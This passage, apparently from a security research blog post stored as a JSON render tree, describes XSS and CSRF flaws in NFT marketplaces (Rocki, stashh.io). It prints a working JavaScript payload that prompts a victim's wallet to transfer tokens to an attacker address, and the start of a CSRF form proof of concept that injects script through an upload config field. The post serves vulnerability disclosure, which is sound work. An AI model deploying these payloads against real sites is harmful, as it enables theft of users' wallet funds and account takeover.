",{"type":24,"tag":101,"props":32527,"children":32530},{"href":32528,"rel":32529},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[105],[32531],{"type":29,"value":32532},"payloads",{"type":29,"value":347},{"type":24,"tag":25,"props":32535,"children":32536},{},[32537,32539,32546,32548,32554],{"type":29,"value":32538},"We showcase this vulnerability in the ",{"type":24,"tag":101,"props":32540,"children":32543},{"href":32541,"rel":32542},"https://rocki.com/",[105],[32544],{"type":29,"value":32545},"Rocki Marketplace",{"type":29,"value":32547},". The ",{"type":24,"tag":154,"props":32549,"children":32551},{"className":32550},[],[32552],{"type":29,"value":32553},"artistDescription",{"type":29,"value":32555}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":25,"props":32557,"children":32558},{},[32559],{"type":24,"tag":84,"props":32560,"children":32562},{"alt":7,"src":32561},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":25,"props":32564,"children":32565},{},[32566],{"type":29,"value":32567},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":24,"tag":25,"props":32569,"children":32570},{},[32571],{"type":24,"tag":84,"props":32572,"children":32574},{"alt":7,"src":32573},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":25,"props":32576,"children":32577},{},[32578],{"type":29,"value":32579},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":395,"props":32581,"children":32583},{"id":32582},"wheres-my-wallet",[32584],{"type":29,"value":32585},"Where's My Wallet",{"type":24,"tag":25,"props":32587,"children":32588},{},[32589],{"type":29,"value":32590},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":25,"props":32592,"children":32593},{},[32594],{"type":29,"value":32595},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":25,"props":32597,"children":32598},{},[32599],{"type":29,"value":32600},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":25,"props":32602,"children":32603},{},[32604],{"type":29,"value":32605},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":32607,"props":32608,"children":32610},"div",{"style":32609},"display:flex; align-items:center; flex-direction:column;",[32611],{"type":24,"tag":84,"props":32612,"children":32616},{"src":32613,"alt":32614,"style":32615},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":25,"props":32618,"children":32619},{},[32620],{"type":29,"value":32621},"And here we can find the code used to achieve it :",{"type":24,"tag":147,"props":32623,"children":32627},{"className":32624,"code":32625,"language":32626,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[32628],{"type":24,"tag":154,"props":32629,"children":32630},{"__ignoreMap":7},[32631,32648,32693,32722,32738,32801,32836,32861,32886,32893,32913,32921,32937,32949,32957,32974,32991,32999,33006,33022,33038,33045,33053,33070,33082,33089,33105,33121,33128,33135,33152,33159,33167,33174,33221,33228,33292,33299,33319,33335,33351,33372,33443,33459,33466,33473,33511,33519,33526,33533,33540,33561],{"type":24,"tag":158,"props":32632,"children":32633},{"class":160,"line":161},[32634,32639,32644],{"type":24,"tag":158,"props":32635,"children":32636},{"style":165},[32637],{"type":29,"value":32638},"function",{"type":24,"tag":158,"props":32640,"children":32641},{"style":496},[32642],{"type":29,"value":32643}," request",{"type":24,"tag":158,"props":32645,"children":32646},{"style":188},[32647],{"type":29,"value":16972},{"type":24,"tag":158,"props":32649,"children":32650},{"class":160,"line":213},[32651,32656,32660,32665,32670,32674,32679,32684,32689],{"type":24,"tag":158,"props":32652,"children":32653},{"style":1914},[32654],{"type":29,"value":32655}," if",{"type":24,"tag":158,"props":32657,"children":32658},{"style":188},[32659],{"type":29,"value":2262},{"type":24,"tag":158,"props":32661,"children":32662},{"style":165},[32663],{"type":29,"value":32664},"typeof",{"type":24,"tag":158,"props":32666,"children":32667},{"style":177},[32668],{"type":29,"value":32669}," window",{"type":24,"tag":158,"props":32671,"children":32672},{"style":188},[32673],{"type":29,"value":347},{"type":24,"tag":158,"props":32675,"children":32676},{"style":177},[32677],{"type":29,"value":32678},"ethereum",{"type":24,"tag":158,"props":32680,"children":32681},{"style":222},[32682],{"type":29,"value":32683}," ===",{"type":24,"tag":158,"props":32685,"children":32686},{"style":1108},[32687],{"type":29,"value":32688}," 'undefined'",{"type":24,"tag":158,"props":32690,"children":32691},{"style":188},[32692],{"type":29,"value":16038},{"type":24,"tag":158,"props":32694,"children":32695},{"class":160,"line":238},[32696,32701,32705,32709,32713,32718],{"type":24,"tag":158,"props":32697,"children":32698},{"style":177},[32699],{"type":29,"value":32700}," console",{"type":24,"tag":158,"props":32702,"children":32703},{"style":188},[32704],{"type":29,"value":347},{"type":24,"tag":158,"props":32706,"children":32707},{"style":496},[32708],{"type":29,"value":16098},{"type":24,"tag":158,"props":32710,"children":32711},{"style":188},[32712],{"type":29,"value":504},{"type":24,"tag":158,"props":32714,"children":32715},{"style":1108},[32716],{"type":29,"value":32717},"'Please install MetaMask to use this feature.'",{"type":24,"tag":158,"props":32719,"children":32720},{"style":188},[32721],{"type":29,"value":1071},{"type":24,"tag":158,"props":32723,"children":32724},{"class":160,"line":259},[32725,32730,32734],{"type":24,"tag":158,"props":32726,"children":32727},{"style":188},[32728],{"type":29,"value":32729}," } ",{"type":24,"tag":158,"props":32731,"children":32732},{"style":1914},[32733],{"type":29,"value":4978},{"type":24,"tag":158,"props":32735,"children":32736},{"style":188},[32737],{"type":29,"value":210},{"type":24,"tag":158,"props":32739,"children":32740},{"class":160,"line":280},[32741,32746,32750,32755,32760,32765,32770,32775,32780,32785,32789,32793,32797],{"type":24,"tag":158,"props":32742,"children":32743},{"style":177},[32744],{"type":29,"value":32745}," ethereum",{"type":24,"tag":158,"props":32747,"children":32748},{"style":188},[32749],{"type":29,"value":347},{"type":24,"tag":158,"props":32751,"children":32752},{"style":496},[32753],{"type":29,"value":32754},"request",{"type":24,"tag":158,"props":32756,"children":32757},{"style":188},[32758],{"type":29,"value":32759},"({ ",{"type":24,"tag":158,"props":32761,"children":32762},{"style":177},[32763],{"type":29,"value":32764},"method:",{"type":24,"tag":158,"props":32766,"children":32767},{"style":1108},[32768],{"type":29,"value":32769}," 'eth_requestAccounts'",{"type":24,"tag":158,"props":32771,"children":32772},{"style":188},[32773],{"type":29,"value":32774}," }).",{"type":24,"tag":158,"props":32776,"children":32777},{"style":496},[32778],{"type":29,"value":32779},"then",{"type":24,"tag":158,"props":32781,"children":32782},{"style":188},[32783],{"type":29,"value":32784},"((",{"type":24,"tag":158,"props":32786,"children":32787},{"style":177},[32788],{"type":29,"value":15909},{"type":24,"tag":158,"props":32790,"children":32791},{"style":188},[32792],{"type":29,"value":723},{"type":24,"tag":158,"props":32794,"children":32795},{"style":165},[32796],{"type":29,"value":16056},{"type":24,"tag":158,"props":32798,"children":32799},{"style":188},[32800],{"type":29,"value":210},{"type":24,"tag":158,"props":32802,"children":32803},{"class":160,"line":301},[32804,32809,32814,32818,32823,32827,32831],{"type":24,"tag":158,"props":32805,"children":32806},{"style":165},[32807],{"type":29,"value":32808}," const",{"type":24,"tag":158,"props":32810,"children":32811},{"style":177},[32812],{"type":29,"value":32813}," fromAddress",{"type":24,"tag":158,"props":32815,"children":32816},{"style":222},[32817],{"type":29,"value":462},{"type":24,"tag":158,"props":32819,"children":32820},{"style":177},[32821],{"type":29,"value":32822}," accounts",{"type":24,"tag":158,"props":32824,"children":32825},{"style":188},[32826],{"type":29,"value":2048},{"type":24,"tag":158,"props":32828,"children":32829},{"style":465},[32830],{"type":29,"value":5682},{"type":24,"tag":158,"props":32832,"children":32833},{"style":188},[32834],{"type":29,"value":32835},"];\n",{"type":24,"tag":158,"props":32837,"children":32838},{"class":160,"line":626},[32839,32843,32848,32852,32857],{"type":24,"tag":158,"props":32840,"children":32841},{"style":165},[32842],{"type":29,"value":32808},{"type":24,"tag":158,"props":32844,"children":32845},{"style":177},[32846],{"type":29,"value":32847}," attackerAddress",{"type":24,"tag":158,"props":32849,"children":32850},{"style":222},[32851],{"type":29,"value":462},{"type":24,"tag":158,"props":32853,"children":32854},{"style":1108},[32855],{"type":29,"value":32856}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":158,"props":32858,"children":32859},{"style":188},[32860],{"type":29,"value":473},{"type":24,"tag":158,"props":32862,"children":32863},{"class":160,"line":668},[32864,32868,32873,32877,32882],{"type":24,"tag":158,"props":32865,"children":32866},{"style":165},[32867],{"type":29,"value":32808},{"type":24,"tag":158,"props":32869,"children":32870},{"style":177},[32871],{"type":29,"value":32872}," contractAddress",{"type":24,"tag":158,"props":32874,"children":32875},{"style":222},[32876],{"type":29,"value":462},{"type":24,"tag":158,"props":32878,"children":32879},{"style":1108},[32880],{"type":29,"value":32881}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":158,"props":32883,"children":32884},{"style":188},[32885],{"type":29,"value":473},{"type":24,"tag":158,"props":32887,"children":32888},{"class":160,"line":676},[32889],{"type":24,"tag":158,"props":32890,"children":32891},{"emptyLinePlaceholder":16},[32892],{"type":29,"value":481},{"type":24,"tag":158,"props":32894,"children":32895},{"class":160,"line":684},[32896,32900,32905,32909],{"type":24,"tag":158,"props":32897,"children":32898},{"style":165},[32899],{"type":29,"value":4303},{"type":24,"tag":158,"props":32901,"children":32902},{"style":177},[32903],{"type":29,"value":32904}," tokenAbi",{"type":24,"tag":158,"props":32906,"children":32907},{"style":222},[32908],{"type":29,"value":462},{"type":24,"tag":158,"props":32910,"children":32911},{"style":188},[32912],{"type":29,"value":26878},{"type":24,"tag":158,"props":32914,"children":32915},{"class":160,"line":700},[32916],{"type":24,"tag":158,"props":32917,"children":32918},{"style":188},[32919],{"type":29,"value":32920}," {\n",{"type":24,"tag":158,"props":32922,"children":32923},{"class":160,"line":785},[32924,32929,32933],{"type":24,"tag":158,"props":32925,"children":32926},{"style":177},[32927],{"type":29,"value":32928}," constant:",{"type":24,"tag":158,"props":32930,"children":32931},{"style":165},[32932],{"type":29,"value":859},{"type":24,"tag":158,"props":32934,"children":32935},{"style":188},[32936],{"type":29,"value":235},{"type":24,"tag":158,"props":32938,"children":32939},{"class":160,"line":1447},[32940,32945],{"type":24,"tag":158,"props":32941,"children":32942},{"style":177},[32943],{"type":29,"value":32944}," inputs:",{"type":24,"tag":158,"props":32946,"children":32947},{"style":188},[32948],{"type":29,"value":26878},{"type":24,"tag":158,"props":32950,"children":32951},{"class":160,"line":1509},[32952],{"type":24,"tag":158,"props":32953,"children":32954},{"style":188},[32955],{"type":29,"value":32956}," {\n",{"type":24,"tag":158,"props":32958,"children":32959},{"class":160,"line":1527},[32960,32965,32970],{"type":24,"tag":158,"props":32961,"children":32962},{"style":177},[32963],{"type":29,"value":32964}," name:",{"type":24,"tag":158,"props":32966,"children":32967},{"style":1108},[32968],{"type":29,"value":32969}," '_to'",{"type":24,"tag":158,"props":32971,"children":32972},{"style":188},[32973],{"type":29,"value":235},{"type":24,"tag":158,"props":32975,"children":32976},{"class":160,"line":1545},[32977,32982,32987],{"type":24,"tag":158,"props":32978,"children":32979},{"style":177},[32980],{"type":29,"value":32981}," type:",{"type":24,"tag":158,"props":32983,"children":32984},{"style":1108},[32985],{"type":29,"value":32986}," 'address'",{"type":24,"tag":158,"props":32988,"children":32989},{"style":188},[32990],{"type":29,"value":235},{"type":24,"tag":158,"props":32992,"children":32993},{"class":160,"line":1618},[32994],{"type":24,"tag":158,"props":32995,"children":32996},{"style":188},[32997],{"type":29,"value":32998}," },\n",{"type":24,"tag":158,"props":33000,"children":33001},{"class":160,"line":1635},[33002],{"type":24,"tag":158,"props":33003,"children":33004},{"style":188},[33005],{"type":29,"value":32956},{"type":24,"tag":158,"props":33007,"children":33008},{"class":160,"line":1644},[33009,33013,33018],{"type":24,"tag":158,"props":33010,"children":33011},{"style":177},[33012],{"type":29,"value":32964},{"type":24,"tag":158,"props":33014,"children":33015},{"style":1108},[33016],{"type":29,"value":33017}," '_value'",{"type":24,"tag":158,"props":33019,"children":33020},{"style":188},[33021],{"type":29,"value":235},{"type":24,"tag":158,"props":33023,"children":33024},{"class":160,"line":1652},[33025,33029,33034],{"type":24,"tag":158,"props":33026,"children":33027},{"style":177},[33028],{"type":29,"value":32981},{"type":24,"tag":158,"props":33030,"children":33031},{"style":1108},[33032],{"type":29,"value":33033}," 'uint256'",{"type":24,"tag":158,"props":33035,"children":33036},{"style":188},[33037],{"type":29,"value":235},{"type":24,"tag":158,"props":33039,"children":33040},{"class":160,"line":1704},[33041],{"type":24,"tag":158,"props":33042,"children":33043},{"style":188},[33044],{"type":29,"value":32998},{"type":24,"tag":158,"props":33046,"children":33047},{"class":160,"line":1713},[33048],{"type":24,"tag":158,"props":33049,"children":33050},{"style":188},[33051],{"type":29,"value":33052}," ],\n",{"type":24,"tag":158,"props":33054,"children":33055},{"class":160,"line":1731},[33056,33061,33066],{"type":24,"tag":158,"props":33057,"children":33058},{"style":177},[33059],{"type":29,"value":33060}," name:",{"type":24,"tag":158,"props":33062,"children":33063},{"style":1108},[33064],{"type":29,"value":33065}," 'transfer'",{"type":24,"tag":158,"props":33067,"children":33068},{"style":188},[33069],{"type":29,"value":235},{"type":24,"tag":158,"props":33071,"children":33072},{"class":160,"line":5485},[33073,33078],{"type":24,"tag":158,"props":33074,"children":33075},{"style":177},[33076],{"type":29,"value":33077}," outputs:",{"type":24,"tag":158,"props":33079,"children":33080},{"style":188},[33081],{"type":29,"value":26878},{"type":24,"tag":158,"props":33083,"children":33084},{"class":160,"line":5493},[33085],{"type":24,"tag":158,"props":33086,"children":33087},{"style":188},[33088],{"type":29,"value":32956},{"type":24,"tag":158,"props":33090,"children":33091},{"class":160,"line":5553},[33092,33096,33101],{"type":24,"tag":158,"props":33093,"children":33094},{"style":177},[33095],{"type":29,"value":32964},{"type":24,"tag":158,"props":33097,"children":33098},{"style":1108},[33099],{"type":29,"value":33100}," ''",{"type":24,"tag":158,"props":33102,"children":33103},{"style":188},[33104],{"type":29,"value":235},{"type":24,"tag":158,"props":33106,"children":33107},{"class":160,"line":10636},[33108,33112,33117],{"type":24,"tag":158,"props":33109,"children":33110},{"style":177},[33111],{"type":29,"value":32981},{"type":24,"tag":158,"props":33113,"children":33114},{"style":1108},[33115],{"type":29,"value":33116}," 'bool'",{"type":24,"tag":158,"props":33118,"children":33119},{"style":188},[33120],{"type":29,"value":235},{"type":24,"tag":158,"props":33122,"children":33123},{"class":160,"line":10652},[33124],{"type":24,"tag":158,"props":33125,"children":33126},{"style":188},[33127],{"type":29,"value":32998},{"type":24,"tag":158,"props":33129,"children":33130},{"class":160,"line":10696},[33131],{"type":24,"tag":158,"props":33132,"children":33133},{"style":188},[33134],{"type":29,"value":33052},{"type":24,"tag":158,"props":33136,"children":33137},{"class":160,"line":10801},[33138,33143,33148],{"type":24,"tag":158,"props":33139,"children":33140},{"style":177},[33141],{"type":29,"value":33142}," type:",{"type":24,"tag":158,"props":33144,"children":33145},{"style":1108},[33146],{"type":29,"value":33147}," 'function'",{"type":24,"tag":158,"props":33149,"children":33150},{"style":188},[33151],{"type":29,"value":235},{"type":24,"tag":158,"props":33153,"children":33154},{"class":160,"line":24754},[33155],{"type":24,"tag":158,"props":33156,"children":33157},{"style":188},[33158],{"type":29,"value":26630},{"type":24,"tag":158,"props":33160,"children":33161},{"class":160,"line":24789},[33162],{"type":24,"tag":158,"props":33163,"children":33164},{"style":188},[33165],{"type":29,"value":33166}," ];\n",{"type":24,"tag":158,"props":33168,"children":33169},{"class":160,"line":24797},[33170],{"type":24,"tag":158,"props":33171,"children":33172},{"emptyLinePlaceholder":16},[33173],{"type":29,"value":481},{"type":24,"tag":158,"props":33175,"children":33176},{"class":160,"line":24805},[33177,33181,33186,33190,33195,33200,33204,33209,33213,33217],{"type":24,"tag":158,"props":33178,"children":33179},{"style":165},[33180],{"type":29,"value":32808},{"type":24,"tag":158,"props":33182,"children":33183},{"style":177},[33184],{"type":29,"value":33185}," web3",{"type":24,"tag":158,"props":33187,"children":33188},{"style":222},[33189],{"type":29,"value":462},{"type":24,"tag":158,"props":33191,"children":33192},{"style":165},[33193],{"type":29,"value":33194}," new",{"type":24,"tag":158,"props":33196,"children":33197},{"style":496},[33198],{"type":29,"value":33199}," Web3",{"type":24,"tag":158,"props":33201,"children":33202},{"style":188},[33203],{"type":29,"value":504},{"type":24,"tag":158,"props":33205,"children":33206},{"style":177},[33207],{"type":29,"value":33208},"window",{"type":24,"tag":158,"props":33210,"children":33211},{"style":188},[33212],{"type":29,"value":347},{"type":24,"tag":158,"props":33214,"children":33215},{"style":177},[33216],{"type":29,"value":32678},{"type":24,"tag":158,"props":33218,"children":33219},{"style":188},[33220],{"type":29,"value":1071},{"type":24,"tag":158,"props":33222,"children":33223},{"class":160,"line":24814},[33224],{"type":24,"tag":158,"props":33225,"children":33226},{"emptyLinePlaceholder":16},[33227],{"type":29,"value":481},{"type":24,"tag":158,"props":33229,"children":33230},{"class":160,"line":24856},[33231,33235,33240,33244,33248,33252,33256,33261,33265,33270,33274,33279,33283,33288],{"type":24,"tag":158,"props":33232,"children":33233},{"style":165},[33234],{"type":29,"value":32808},{"type":24,"tag":158,"props":33236,"children":33237},{"style":177},[33238],{"type":29,"value":33239}," tokenContract",{"type":24,"tag":158,"props":33241,"children":33242},{"style":222},[33243],{"type":29,"value":462},{"type":24,"tag":158,"props":33245,"children":33246},{"style":165},[33247],{"type":29,"value":33194},{"type":24,"tag":158,"props":33249,"children":33250},{"style":177},[33251],{"type":29,"value":33185},{"type":24,"tag":158,"props":33253,"children":33254},{"style":188},[33255],{"type":29,"value":347},{"type":24,"tag":158,"props":33257,"children":33258},{"style":177},[33259],{"type":29,"value":33260},"eth",{"type":24,"tag":158,"props":33262,"children":33263},{"style":188},[33264],{"type":29,"value":347},{"type":24,"tag":158,"props":33266,"children":33267},{"style":496},[33268],{"type":29,"value":33269},"Contract",{"type":24,"tag":158,"props":33271,"children":33272},{"style":188},[33273],{"type":29,"value":504},{"type":24,"tag":158,"props":33275,"children":33276},{"style":177},[33277],{"type":29,"value":33278},"tokenAbi",{"type":24,"tag":158,"props":33280,"children":33281},{"style":188},[33282],{"type":29,"value":191},{"type":24,"tag":158,"props":33284,"children":33285},{"style":177},[33286],{"type":29,"value":33287},"contractAddress",{"type":24,"tag":158,"props":33289,"children":33290},{"style":188},[33291],{"type":29,"value":1071},{"type":24,"tag":158,"props":33293,"children":33294},{"class":160,"line":24889},[33295],{"type":24,"tag":158,"props":33296,"children":33297},{"emptyLinePlaceholder":16},[33298],{"type":29,"value":481},{"type":24,"tag":158,"props":33300,"children":33301},{"class":160,"line":24897},[33302,33306,33311,33315],{"type":24,"tag":158,"props":33303,"children":33304},{"style":165},[33305],{"type":29,"value":32808},{"type":24,"tag":158,"props":33307,"children":33308},{"style":177},[33309],{"type":29,"value":33310}," transactionObject",{"type":24,"tag":158,"props":33312,"children":33313},{"style":222},[33314],{"type":29,"value":462},{"type":24,"tag":158,"props":33316,"children":33317},{"style":188},[33318],{"type":29,"value":210},{"type":24,"tag":158,"props":33320,"children":33321},{"class":160,"line":24905},[33322,33327,33331],{"type":24,"tag":158,"props":33323,"children":33324},{"style":177},[33325],{"type":29,"value":33326}," from:",{"type":24,"tag":158,"props":33328,"children":33329},{"style":177},[33330],{"type":29,"value":32813},{"type":24,"tag":158,"props":33332,"children":33333},{"style":188},[33334],{"type":29,"value":235},{"type":24,"tag":158,"props":33336,"children":33337},{"class":160,"line":24914},[33338,33343,33347],{"type":24,"tag":158,"props":33339,"children":33340},{"style":177},[33341],{"type":29,"value":33342}," to:",{"type":24,"tag":158,"props":33344,"children":33345},{"style":177},[33346],{"type":29,"value":32872},{"type":24,"tag":158,"props":33348,"children":33349},{"style":188},[33350],{"type":29,"value":235},{"type":24,"tag":158,"props":33352,"children":33353},{"class":160,"line":24990},[33354,33359,33363,33367],{"type":24,"tag":158,"props":33355,"children":33356},{"style":177},[33357],{"type":29,"value":33358}," data:",{"type":24,"tag":158,"props":33360,"children":33361},{"style":177},[33362],{"type":29,"value":33239},{"type":24,"tag":158,"props":33364,"children":33365},{"style":188},[33366],{"type":29,"value":347},{"type":24,"tag":158,"props":33368,"children":33369},{"style":177},[33370],{"type":29,"value":33371},"methods\n",{"type":24,"tag":158,"props":33373,"children":33374},{"class":160,"line":25023},[33375,33380,33385,33389,33394,33398,33403,33407,33412,33416,33421,33425,33430,33434,33439],{"type":24,"tag":158,"props":33376,"children":33377},{"style":188},[33378],{"type":29,"value":33379}," .",{"type":24,"tag":158,"props":33381,"children":33382},{"style":496},[33383],{"type":29,"value":33384},"transfer",{"type":24,"tag":158,"props":33386,"children":33387},{"style":188},[33388],{"type":29,"value":504},{"type":24,"tag":158,"props":33390,"children":33391},{"style":177},[33392],{"type":29,"value":33393},"attackerAddress",{"type":24,"tag":158,"props":33395,"children":33396},{"style":188},[33397],{"type":29,"value":191},{"type":24,"tag":158,"props":33399,"children":33400},{"style":177},[33401],{"type":29,"value":33402},"web3",{"type":24,"tag":158,"props":33404,"children":33405},{"style":188},[33406],{"type":29,"value":347},{"type":24,"tag":158,"props":33408,"children":33409},{"style":177},[33410],{"type":29,"value":33411},"utils",{"type":24,"tag":158,"props":33413,"children":33414},{"style":188},[33415],{"type":29,"value":347},{"type":24,"tag":158,"props":33417,"children":33418},{"style":496},[33419],{"type":29,"value":33420},"toWei",{"type":24,"tag":158,"props":33422,"children":33423},{"style":188},[33424],{"type":29,"value":504},{"type":24,"tag":158,"props":33426,"children":33427},{"style":1108},[33428],{"type":29,"value":33429},"'100000000'",{"type":24,"tag":158,"props":33431,"children":33432},{"style":188},[33433],{"type":29,"value":191},{"type":24,"tag":158,"props":33435,"children":33436},{"style":1108},[33437],{"type":29,"value":33438},"'ether'",{"type":24,"tag":158,"props":33440,"children":33441},{"style":188},[33442],{"type":29,"value":20955},{"type":24,"tag":158,"props":33444,"children":33445},{"class":160,"line":25031},[33446,33450,33455],{"type":24,"tag":158,"props":33447,"children":33448},{"style":188},[33449],{"type":29,"value":33379},{"type":24,"tag":158,"props":33451,"children":33452},{"style":496},[33453],{"type":29,"value":33454},"encodeABI",{"type":24,"tag":158,"props":33456,"children":33457},{"style":188},[33458],{"type":29,"value":5150},{"type":24,"tag":158,"props":33460,"children":33461},{"class":160,"line":25039},[33462],{"type":24,"tag":158,"props":33463,"children":33464},{"style":188},[33465],{"type":29,"value":2099},{"type":24,"tag":158,"props":33467,"children":33468},{"class":160,"line":25076},[33469],{"type":24,"tag":158,"props":33470,"children":33471},{"emptyLinePlaceholder":16},[33472],{"type":29,"value":481},{"type":24,"tag":158,"props":33474,"children":33475},{"class":160,"line":25089},[33476,33481,33485,33489,33493,33498,33502,33507],{"type":24,"tag":158,"props":33477,"children":33478},{"style":177},[33479],{"type":29,"value":33480}," web3",{"type":24,"tag":158,"props":33482,"children":33483},{"style":188},[33484],{"type":29,"value":347},{"type":24,"tag":158,"props":33486,"children":33487},{"style":177},[33488],{"type":29,"value":33260},{"type":24,"tag":158,"props":33490,"children":33491},{"style":188},[33492],{"type":29,"value":347},{"type":24,"tag":158,"props":33494,"children":33495},{"style":496},[33496],{"type":29,"value":33497},"sendTransaction",{"type":24,"tag":158,"props":33499,"children":33500},{"style":188},[33501],{"type":29,"value":504},{"type":24,"tag":158,"props":33503,"children":33504},{"style":177},[33505],{"type":29,"value":33506},"transactionObject",{"type":24,"tag":158,"props":33508,"children":33509},{"style":188},[33510],{"type":29,"value":1071},{"type":24,"tag":158,"props":33512,"children":33513},{"class":160,"line":25102},[33514],{"type":24,"tag":158,"props":33515,"children":33516},{"style":188},[33517],{"type":29,"value":33518}," });\n",{"type":24,"tag":158,"props":33520,"children":33521},{"class":160,"line":25115},[33522],{"type":24,"tag":158,"props":33523,"children":33524},{"style":188},[33525],{"type":29,"value":4366},{"type":24,"tag":158,"props":33527,"children":33528},{"class":160,"line":25169},[33529],{"type":24,"tag":158,"props":33530,"children":33531},{"style":188},[33532],{"type":29,"value":307},{"type":24,"tag":158,"props":33534,"children":33535},{"class":160,"line":25178},[33536],{"type":24,"tag":158,"props":33537,"children":33538},{"emptyLinePlaceholder":16},[33539],{"type":29,"value":481},{"type":24,"tag":158,"props":33541,"children":33543},{"class":160,"line":33542},51,[33544,33548,33552,33557],{"type":24,"tag":158,"props":33545,"children":33546},{"style":165},[33547],{"type":29,"value":20726},{"type":24,"tag":158,"props":33549,"children":33550},{"style":188},[33551],{"type":29,"value":504},{"type":24,"tag":158,"props":33553,"children":33554},{"style":1108},[33555],{"type":29,"value":33556},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":158,"props":33558,"children":33559},{"style":188},[33560],{"type":29,"value":1071},{"type":24,"tag":158,"props":33562,"children":33564},{"class":160,"line":33563},52,[33565,33570,33574,33578,33582,33587],{"type":24,"tag":158,"props":33566,"children":33567},{"style":496},[33568],{"type":29,"value":33569},"setTimeout",{"type":24,"tag":158,"props":33571,"children":33572},{"style":188},[33573],{"type":29,"value":504},{"type":24,"tag":158,"props":33575,"children":33576},{"style":177},[33577],{"type":29,"value":32754},{"type":24,"tag":158,"props":33579,"children":33580},{"style":188},[33581],{"type":29,"value":191},{"type":24,"tag":158,"props":33583,"children":33584},{"style":465},[33585],{"type":29,"value":33586},"1e3",{"type":24,"tag":158,"props":33588,"children":33589},{"style":188},[33590],{"type":29,"value":1071},{"type":24,"tag":25,"props":33592,"children":33593},{},[33594,33599],{"type":24,"tag":897,"props":33595,"children":33596},{},[33597],{"type":29,"value":33598},"CSRF & XSS",{"type":29,"value":33600},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":25,"props":33602,"children":33603},{},[33604,33606,33611],{"type":29,"value":33605},"Our attention was drawn to ",{"type":24,"tag":101,"props":33607,"children":33609},{"href":32541,"rel":33608},[105],[33610],{"type":29,"value":32545},{"type":29,"value":33612},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":25,"props":33614,"children":33615},{},[33616],{"type":24,"tag":84,"props":33617,"children":33619},{"alt":7,"src":33618},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":25,"props":33621,"children":33622},{},[33623],{"type":29,"value":33624},"and here there is the code:",{"type":24,"tag":147,"props":33626,"children":33628},{"className":32624,"code":33627,"language":32626,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[33629],{"type":24,"tag":154,"props":33630,"children":33631},{"__ignoreMap":7},[33632,33649,33666,33700,33786,33843,34042,34083,34099,34115,34122,34137,34144,34156,34215,34222,34285,34314,34352,34359,34397,34410,34417,34432],{"type":24,"tag":158,"props":33633,"children":33634},{"class":160,"line":161},[33635,33640,33645],{"type":24,"tag":158,"props":33636,"children":33638},{"style":33637},"--shiki-default:#808080",[33639],{"type":29,"value":3760},{"type":24,"tag":158,"props":33641,"children":33642},{"style":165},[33643],{"type":29,"value":33644},"html",{"type":24,"tag":158,"props":33646,"children":33647},{"style":33637},[33648],{"type":29,"value":7642},{"type":24,"tag":158,"props":33650,"children":33651},{"class":160,"line":213},[33652,33657,33662],{"type":24,"tag":158,"props":33653,"children":33654},{"style":33637},[33655],{"type":29,"value":33656}," 